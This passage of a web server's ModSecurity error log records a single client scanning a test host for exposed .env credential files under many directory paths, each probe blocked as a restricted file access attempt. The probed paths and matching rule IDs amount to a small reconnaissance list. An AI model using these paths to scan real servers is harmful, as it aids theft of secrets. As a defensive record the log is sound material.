&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32AQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.597694 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32AQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.597884 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32AQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.651802 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32AgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.652067 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32AgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.652258 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32AgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.707129 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32AwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.707408 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32AwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.707595 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32AwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.762199 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32BAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.762482 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32BAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.762668 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32BAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.820861 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32BQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.821113 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32BQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.821300 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32BQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.876289 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32BgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.876543 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32BgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.876729 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32BgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.931431 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32BwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.931691 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32BwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.931892 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32BwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.989770 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32CAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.990032 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32CAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:01.990231 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aLrPlWcf05t5foPUZx32CAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.044780 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /saas/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32CQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.045048 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32CQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.045248 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32CQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.099424 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32CgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.099708 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32CgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.099907 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32CgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.155134 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32CwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.155405 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32CwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.155621 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32CwAAAAk&quot;], referer: https://www.google.com/
